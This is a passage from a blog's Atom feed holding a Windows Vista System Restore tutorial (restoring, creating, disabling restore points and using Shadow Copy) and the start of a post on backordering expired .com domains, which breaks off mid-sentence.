reinstall    all your applications or you can restore your computer to a previous snapshot    in the hopes that the problems will now be gone. By using System Restore to    restore your computer to a previously known working state you can save considerable    time or money compared to reinstalling the entire computer.&lt;br /&gt;&lt;!-- Description --&gt;&lt;/p&gt; System Restore points are automatically created when the following actions  occur:  &lt;ul&gt;&lt;li&gt;When you install a new application or driver.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;When you uninstall or install certain programs.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;When you install new updates&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Automatically on a daily interval&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;By manually creating one.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;If you choose to use system restore to restore to a previous restore point,      system restore will create a new restore point prior to restoring a previous      state in case something goes wrong. If you restore to a previous state in      Safe Mode, a restore point will not be created for the current state.&lt;/li&gt;&lt;/ul&gt; In order for System Restore to work you must have 300 MB of free space for  each hard disk that System Restore is monitoring. System Restore will also use  up to 15% of the disk space on each disk that it monitors. As hard drive space  runs out, older restore points will be deleted as newer ones are created. It is  also important to point out that you must be logged in as an Administrator in  order to use System Restore. Now that you understand the basics of System Restore,  you should continue to the next section to learn how to use it.&lt;br /&gt;&lt;br /&gt;&lt;p align="left"&gt;&lt;u&gt;&lt;b&gt;&lt;strong&gt;&lt;a name="restore"&gt;&lt;/a&gt;Restoring Windows Vista to a previous State&lt;/strong&gt;&lt;/b&gt;&lt;/u&gt;&lt;/p&gt; &lt;p align="left"&gt;In the case of a problem on your computer that cannot be solved    by normal means, you can restore your computer back to a previous working state.    To do this you need to start System Restore so that you can choose the restore    point to restore. If you are currently having problems starting Windows Vista,    you can use System Restore from the Windows Recovery Environment. Instructions    on how to do this can be found in this tutorial: &lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial142.html"&gt;Using    System Restore from the Vista Windows Recovery Environment&lt;/a&gt;.&lt;/p&gt; &lt;p align="left"&gt;If you can log into Windows Vista, then you should follow these    steps.&lt;/p&gt; &lt;ol&gt;&lt;li&gt;Close and save any documents that you may have open.&lt;br /&gt;   &lt;br /&gt;       &lt;/li&gt;&lt;li&gt;      &lt;div align="left"&gt;Click on the &lt;strong&gt;Start&lt;/strong&gt; button to open your        Start Menu. The Start button looks like this: &lt;img src="http://img.bleepingcomputer.com/tutorials/vista_features/vista_start_button.jpg" alt="Vista Start Button" width="30" align="middle" height="29" /&gt;&lt;br /&gt;     &lt;br /&gt;    &lt;/div&gt;   &lt;/li&gt;&lt;li&gt;When the Start Menu opens click on the &lt;strong&gt;All Programs&lt;/strong&gt; menu      option.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click once on the &lt;b&gt;Accessories&lt;/b&gt; Start Menu group.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click once on the &lt;b&gt;System Tools&lt;/b&gt; Start Menu group.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click once on the  &lt;b&gt;System Restore&lt;/b&gt; icon. After you click on the      icon, if a User Account Control window opens you should click on      the &lt;b&gt;Continue&lt;/b&gt; button.&lt;br /&gt;  &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;You will now be at the System Restore screen as shown below in Figure 1. From    this screen you can specify the restore point that you would like to restore.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p align="center"&gt; &lt;img alt="System Restore Screen" title="System Restore Screen" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/system-restore.jpg" width="580" height="463" /&gt;&lt;br /&gt;  &lt;strong&gt;Figure 1. System Restore Screen&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt; &lt;/p&gt; &lt;p align="left"&gt;By default, Vista will already have selected the &lt;b&gt;Recommended    restore&lt;/b&gt; option. This restore point is one was made after a new program,    driver, or update was installed. If you would like to use this restore point,    you can click on the &lt;b&gt;Next&lt;/b&gt; button to start the restore process. On the    other hand, if there is a more recent restore point that you would like to restore    you should select &lt;b&gt;Choose a different restore point&lt;/b&gt; and press the &lt;b&gt;Next&lt;/b&gt;    button. This will bring you to a screen, as shown in Figure 2, that contains    a listing of all the available restore points that you can restore to.&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/available-restore-points.jpg" width="580" height="463" /&gt;&lt;br /&gt;  &lt;b&gt;Figure 2. List of available restore points&lt;/b&gt;&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="left"&gt;You should select the restore point that you would like to restore    and press the &lt;b&gt;Next&lt;/b&gt; button to start the restore process. Vista will display    a Window showing your selected restore point and asking you to confirm that    this is the one you would like to restore. &lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img alt="Confirm the selected restore point" title="Confirm the selected restore point" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/confirm-restore-point.jpg" width="580" height="463" /&gt;&lt;br /&gt;  &lt;b&gt;Figure 3. Confirm the selected restore point&lt;/b&gt;&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="left"&gt;If you would like to select a different restore point press the    &lt;b&gt;Back&lt;/b&gt; button. Otherwise you can press the &lt;b&gt;Cancel&lt;/b&gt; button to exit    System Restore or the &lt;b&gt;Finish&lt;/b&gt; button to begin the restore process. If    you selected Finish, Vista will display a second prompt asking you to confirm    that you would like to continue the restore.&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img alt="Second Confirmation" title="Second Confirmation" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/second-confirmation.jpg" width="480" height="182" /&gt;&lt;br /&gt;  &lt;b&gt;Figure 4. Second Confirmation&lt;/b&gt;&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="left"&gt;If you are sure you want to do the restore, then press the &lt;b&gt;Yes&lt;/b&gt;    button. Vista will now log you off of the computer and start the System Restore    process as shown in Figure 5 below.&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/restoring.jpg" title="Restoring a restore point" alt="Restoring a restore point" width="600" height="454" /&gt;&lt;br /&gt;  &lt;strong&gt;Figure 5. Restoring a restore point&lt;/strong&gt;&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="left"&gt;When the restore has been completed, you computer will be restarted    and when Vista boots back up it will be restored to its previous state. When    you log in to Vista for the first time after the restore, you will see a message    showing that the restore was successful.&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/success.jpg" width="414" height="155" /&gt;&lt;br /&gt;  &lt;strong&gt;Figure 6. System restore was successful&lt;/strong&gt;&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="left"&gt; If there are any problems with your computer due to the last    restore, you can revert back to your previous settings by going back into the    System Restore Utility and selecting the &lt;b&gt;Undo System Restore&lt;/b&gt; option and    pressing the &lt;b&gt;Next&lt;/b&gt; button.&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="center"&gt; &lt;img alt="Undo the last System Restore" title="Undo the last System Restore" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/undo-restore.jpg" /&gt;&lt;br /&gt;  &lt;strong&gt;Figure 7. Undo the last System Restore&lt;/strong&gt;&lt;/p&gt; &lt;p align="left"&gt; &lt;/p&gt; &lt;p align="left"&gt;Your computer should now be working properly again.&lt;/p&gt; &lt;p align="left"&gt;&lt;br /&gt;  &lt;a href="http://www.bleepingcomputer.com/tutorials/tutorial143.html#wre"&gt;Using System Restore from the Windows Recovery Environment&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;br /&gt;  &lt;strong&gt;&lt;u&gt;&lt;a name="manual"&gt;&lt;/a&gt;Manually Creating Restore Points&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align="left"&gt;As said previously, it is also possible to create manual restore    points as needed. Popular reasons to create manual restore points are when you    have your computer set up perfectly and would like to save the state in the    case of problems in the future. To create a manual restore point you need to    follow these steps:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;Click on the &lt;strong&gt;Start&lt;/strong&gt; button to open your Start Menu. The      Start button looks like this: &lt;img src="http://img.bleepingcomputer.com/tutorials/vista_features/vista_start_button.jpg" alt="Vista Start Button" width="30" align="middle" height="29" /&gt;&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;Control Panel&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;System and Maintenance&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;System&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on &lt;b&gt;System Protection&lt;/b&gt; in the left-hand task list.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;You will now be at the &lt;b&gt;System Protection&lt;/b&gt; tab in the System control panel.    This tab allows you to enable and disable System Restore as well as make new    manual restore points.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;div align="center"&gt;   &lt;p&gt;&lt;img alt="System Protection Tab" title="System Protection Tab" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/system-protection.jpg" width="420" height="472" /&gt;&lt;br /&gt;    &lt;b&gt;Figure 8. System Protection tab&lt;/b&gt;&lt;/p&gt;   &lt;p&gt; &lt;/p&gt;   &lt;p align="left"&gt;To create the manual restore point you should click on the &lt;b&gt;Create&lt;/b&gt;      button. When you press this button a prompt will appear asking you to provide      a title for this manual restore point.&lt;/p&gt;   &lt;p align="left"&gt; &lt;/p&gt;   &lt;p align="center"&gt;&lt;img alt="Enter title for manual restore point" title="Enter title for manual restore point" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/create-manual.jpg" width="421" height="215" /&gt;&lt;br /&gt;    &lt;b&gt;Figure 9. Enter title for manual restore point&lt;/b&gt;&lt;/p&gt;   &lt;p align="left"&gt; &lt;/p&gt;   &lt;p align="left"&gt;Type in a title for the manual restore point and press the &lt;b&gt;Create&lt;/b&gt;      button. Vista will now create a manual restore point, and when completed,      display a notice saying that it was created successfully.&lt;/p&gt;   &lt;p align="left"&gt; &lt;/p&gt;   &lt;p align="center"&gt;&lt;img alt="Manual restore point was created" title="Manual restore point was created" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/mrp-success.jpg" width="343" height="169" /&gt;&lt;br /&gt;    &lt;b&gt;Figure 10. Manual restore point was created&lt;/b&gt;&lt;/p&gt;   &lt;p align="left"&gt; &lt;/p&gt;   &lt;p align="left"&gt;Now that you have completed making the manual restore point      you can close the System window.&lt;/p&gt; &lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="disable"&gt;&lt;/a&gt;&lt;u&gt;&lt;strong&gt;Disabling System Restore&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;It is advised that you do not turn off System Restore unless you have specific need to do so. &lt;/strong&gt;&lt;u&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;WARNING: By disabling system restore you will delete all stored restore    points and shadow copies of documents on your computer.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;To disable System Restore you would follow these steps:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;Click on the &lt;strong&gt;Start&lt;/strong&gt; button to open your Start Menu. The      Start button looks like this: &lt;img src="http://img.bleepingcomputer.com/tutorials/vista_features/vista_start_button.jpg" alt="Vista Start Button" width="30" align="middle" height="29" /&gt;&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;Control Panel&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;System and Maintenance&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;System&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on &lt;b&gt;System Protection&lt;/b&gt; in the left-hand task list.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Uncheck the checkboxes next to each hard drive listed under the&lt;b&gt; Create      restore points automatically on the selected disks:&lt;/b&gt; section. When you      uncheck a disk you will be presented with the following screen.&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;    &lt;div align="center"&gt;&lt;img alt="Turn off System Restore confirmation" title="Turn off System Restore confirmation" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/turnoff-confirm.jpg" width="366" height="189" /&gt;&lt;br /&gt;      &lt;b&gt;Figure 11. Turn off System Restore confirmation&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;      &lt;/b&gt;        &lt;div align="left"&gt;You should click on the &lt;b&gt;Turn System Protection Off&lt;/b&gt;          button.&lt;br /&gt;       &lt;br /&gt;      &lt;/div&gt;       &lt;/div&gt;   &lt;/li&gt;&lt;li&gt;Press the &lt;strong&gt;Apply&lt;/strong&gt; button and then the &lt;strong&gt;OK&lt;/strong&gt;      button.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;System Restore is now disabled on your computer.&lt;br /&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;&lt;a name="enable"&gt;&lt;/a&gt;&lt;u&gt;Enabling System Restore&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;By default System Restore is enabled on Windows Vista computers so you will    only need to enable it if you have previously disabled it. To enable System    Restore do the following:&lt;/p&gt; &lt;ol&gt;&lt;li&gt;Click on the &lt;strong&gt;Start&lt;/strong&gt; button to open your Start Menu. The Start button looks like this: &lt;img src="http://img.bleepingcomputer.com/tutorials/vista_features/vista_start_button.jpg" alt="Vista Start Button" width="30" align="middle" height="29" /&gt;&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;Control Panel&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;System and Maintenance&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;System&lt;/b&gt; menu option.&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on &lt;b&gt;System Protection&lt;/b&gt; in the left-hand task list.&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Put a checkmark in the checkboxes next to each hard drive listed under the&lt;b&gt; Create restore points automatically on the selected disks:&lt;/b&gt; section.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Press the &lt;strong&gt;Apply&lt;/strong&gt; button and then the &lt;strong&gt;OK&lt;/strong&gt;      button.&lt;/li&gt;&lt;/ol&gt; System Restore is now enabled on your computer.  &lt;p align="left"&gt;&lt;strong&gt;&lt;u&gt;&lt;a name="delete"&gt;&lt;/a&gt;Deleting Restore Points&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align="left"&gt;There are two safe ways to delete restore points stored on your computer. These ways are described below:&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;Turn off System Restore -&lt;b&gt; &lt;/b&gt;&lt;/strong&gt;When you turn    off System Restore, all previously created restore points will be deleted.&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;System Restore runs out of storage space - &lt;/strong&gt;If    System Restore runs out of allocated space it will delete the older restore    point in order to create free space in which to create the new restore point.&lt;/p&gt; &lt;p align="left"&gt;&lt;strong&gt;&lt;br /&gt;  &lt;/strong&gt;&lt;a name="shadow"&gt;&lt;/a&gt;&lt;u&gt;&lt;b&gt;System Restore and Shadow Copy&lt;/b&gt;&lt;/u&gt;&lt;/p&gt; &lt;p&gt;If you are the owner Windows Vista Business, Ultimate, or Enterprise then you    also have a feature called Shadow Copy available to you. Shadow Copy is a feature    integrated into System Restore that makes copies of your documents when a restore    point is created. You can then use these shadow copies to restore these files    at a later date if they have been accidentally deleted or altered in some way.    Since Shadow Copy is integrated into System Restore, if System Restore is disabled    you will not be able to use Shadow Copy.&lt;/p&gt; &lt;p&gt;To use Shadow Copy to restore a particular file to a previous state you would    right-click on the file and select the &lt;b&gt;Restore previous versions&lt;/b&gt; option    as shown in Figure 8 below.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;b&gt;&lt;img alt="Restore previous versions" title="Restore previous versions" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/restore-previous-versions.jpg" width="518" height="485" /&gt;&lt;br /&gt;  Figure 12. Restore Previous Versions&lt;/b&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;This will bring up a new screen showing the previous versions of the file that    are available to restore as shown in Figure 9 below.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;b&gt;&lt;img alt="List of previous versions" title="List of previous versions" src="http://img.bleepingcomputer.com/tutorials/vista-system-restore/previous-versions.jpg" width="377" height="513" /&gt;&lt;br /&gt;  Figure 13. List of previous versions&lt;/b&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;When you select a version from the list you have three options. &lt;/p&gt; &lt;ul&gt;&lt;li&gt;You can open the previous version by clicking on the &lt;b&gt;Open&lt;/b&gt; button.      This allows you to view the contents of the file without overwriting your      existing one.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;If you would like to copy the older version to a new location you can click      on the &lt;b&gt;Copy&lt;/b&gt; button.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;If you would like to restore the previous version, and overwrite the existing      one, you can click on the &lt;b&gt;Restore&lt;/b&gt; button.&lt;/li&gt;&lt;/ul&gt; The interesting this about this feature is it does not work only on files. You  can also use this feature to restore folders, and all of its contents, that were  deleted. To restore a previous version of a folder you would do the following.  &lt;ol&gt;&lt;li&gt;When in the folder that you would like to restore click on the &lt;b&gt;Organize&lt;/b&gt;      button and then select &lt;b&gt;Properties&lt;/b&gt;.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Click on the &lt;b&gt;Previous Versions&lt;/b&gt; tab.&lt;br /&gt;   &lt;br /&gt;  &lt;/li&gt;&lt;li&gt;Select the date of the Shadow Copy you would like to restore and then select      the &lt;b&gt;Open&lt;/b&gt;, &lt;b&gt;Copy&lt;/b&gt;, or &lt;b&gt;Restore&lt;/b&gt; options as required.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;When restoring folders, if you only wish to restore a particular file in the    folder Shadow Copy, you should select the &lt;b&gt;Open&lt;/b&gt; option to open the Shadow    Copy folder and then copy the particular Shadow Copy files out of it that you    need. As you can see Shadow Copy is a powerful way to keep your data safe and    to have backups available in the case of accidental deletions or irreversible    changes.&lt;/p&gt; &lt;p align="left"&gt;&lt;br /&gt;  &lt;strong&gt;&lt;u&gt;&lt;a name="conc"&gt;&lt;/a&gt;Conclusion&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p align="left"&gt;The System Restore tool is a powerful feature that can be used    to keep your computer operating properly. Now when you run into a problem that    cannot be resolved normally, you can use System Restore to restore your computer    to a previous known working state. Even more powerful is the ability to use    system restore from the Windows Recovery Environment when you can't properly    boot up into Windows. This allows you a second chance to get your computer operating    as it should without having to do a time consuming and possibly expensive reinstall.&lt;/p&gt; &lt;p align="left"&gt;More information about Vista System Restore can be found here:    &lt;a href="http://bertk.mvps.org/html/vista.html"&gt;http://bertk.mvps.org/html/vista.html&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;As always if you have any comments, questions or suggestions about    this tutorial please do not hesitate to tell us in the &lt;a rel="me" target="_blank" href="http://www.bleepingcomputer.com/forums/forum72.html"&gt;Windows Vista Help Forums&lt;/a&gt;.&lt;/p&gt;&lt;!-- google_ad_section_end --&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-5814862818279711451?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/5814862818279711451/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=5814862818279711451' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5814862818279711451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/5814862818279711451'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2009/02/windows-vista-system-restore-guide.html' title='Windows Vista System Restore Guide'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-7920362170615756688</id><published>2008-10-25T09:28:00.000-07:00</published><updated>2008-10-25T09:30:41.808-07:00</updated><title type='text'>Backordering  Domains</title><content type='html'>&lt;span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;Five backorder models targeting different stages of the deletion cycle are currently in play, each of which has its own strengths and weaknesses. Three of them are more likely to survive in the medium-term. However, in the long-term, it is very likely that one of these models would dominate the market. The dominant model that emerges depends on the success of coordination efforts between registrars, fee structure, and customer awareness of such services.&lt;/p&gt;&lt;p class="sndavtext"&gt;Thus, to increase the chances of acquiring an expired domain name, we recommend subscribing to multiple complimentary services simultaneously, or to the one-stop integrated model developed by&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://www.domainmart.com/DomainNames/agent/expired.htm" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;b&gt;DomainMart&lt;/b&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p class="sndavtext"&gt;&lt;b&gt;What is backorder?&lt;/b&gt;&lt;/p&gt;&lt;p class="sndavtext"&gt;Backorder is a service that attempts to register an expired domain name on behalf of an entity before someone else grabs it. Over 750,000 domains expire every month!&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;&lt;span class="sndavtext" style="font-weight: normal;"&gt;It should be noted that not all expired domain names can be backordered, as the registrant might renew them before being deleted by the registrars or they might be on HOLD status pending a settlement of a trademark dispute.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;p class="sndavtext"&gt;&lt;b&gt;Domain Name Expiration and Backorder Process.&lt;/b&gt;&lt;/p&gt;&lt;span class="sndavtext" style="font-weight: normal;"&gt;Domain names are registered for a specific time period, typically between 1 to 10&lt;a href="#_ftn1" name="_ftnref1" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;span&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;[1]&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;years and can be renewed at any time for a maximum of 10 years. If the registrant or the administrative contact does not renew a domain name, it expires. And that when the action to grab it starts.&lt;o:p&gt;&lt;/o:p&gt;&lt;a href="#_ftn1" name="_ftnref1" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;/a&gt;Registries have adopted different procedures to handle expiring domain names. I will concentrate on the .com, the dominant global extension, currently controlled by VeriSign.&lt;o:p&gt;&lt;/o:p&gt;&lt;a href="#_ftn1" name="_ftnref1" title="" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="sndavtext"&gt;Domain name deletions follow the stages below:&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Stage 1.&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/b&gt;Domain name registration expires.&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;Registrar places it under the REGISTRAR-HOLD status, whereby the domain cannot be modified or deleted, but can be renewed. This grace period varies by registrar, but usually lasts from 30 to 45 days. However, the domain will be deleted from the zone files, so the associated Website and e-mail access will stop.&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;The registrar must remove REGISTRAR-HOLD status to modify the domain.&lt;/p&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Stage 2.&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;/b&gt;Registrar deletes a domain name.&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Stage 3&lt;/b&gt;. Registry modified the domain name status to REDEMPTIONPERIOD, whereby the domain cannot be modified or purged; it can only be restored. Any other registrar requests to modify or otherwise update the domain will be rejected. The domain will be held in this status for a maximum of 30 calendar days (registry grace period) during which if the registrant would like to redeem it, they need to:&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;Call their registrar.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;The registrar will "restore" the domain name for a fee determined by registrar, typically US$150-250.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;This places the domain on PENDINGRESTORE status for 7 days (and places the domain name back in the zone file), so email and Website access are restored.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;The registrar must then submit a restore report to the Registry.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;Once the Restore Command and Restore Report process is completed, the name goes back on ACTIVE status.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Stage 4.&lt;/b&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;If at the end of the registry grace period the name is still in REDEMPTIONPERIOD status, the domain name will be moved to PENDINGDELETE status for 5 days.&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;When in this status, the domain name will be deleted.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext" style="font-size: 10pt; font-family: Symbol;"&gt;&lt;span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="sndavtext"&gt;The registrar or the Registry cannot remove the status.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="Section1"&gt;&lt;p&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Stage 5.&lt;/b&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;On the 6th day, the name is then deleted from the Registry.&lt;span&gt;�&lt;/span&gt;VeriSign currently releases all their expired domain names in batches each morning at 6:30, hence the term he 6.30 AM domain name goldrush.� Registrars know these names up to five days in advance and some have passed the information to speculators. This batch release system is unique to VeriSign. Other registrars delete their names in real-time, not more than 45 days after the domain's original expiry date. These names are then immediately available for anyone to register.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;&lt;b&gt;Backorder Models:&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div class="Section1"&gt;&lt;span class="sndavtext"&gt;&lt;b&gt;Model 1. Service By Individual Registrars&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Section1"&gt;&lt;p class="sndavtext"&gt;Some registrars are providing backorder services by not deleting the domain name at Stage 2, but assigning it to a party that has paid them a fee to backorder it.&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;&lt;a href="http://www.godaddy.com/" style="color: rgb(75, 112, 204); text-decoration: underline;"&gt;GoDaddy.com&lt;/a&gt;&lt;span class="Apple-converted-space"&gt; &lt;/span&gt;and&lt;span class="Apple-converted-space"&gt; 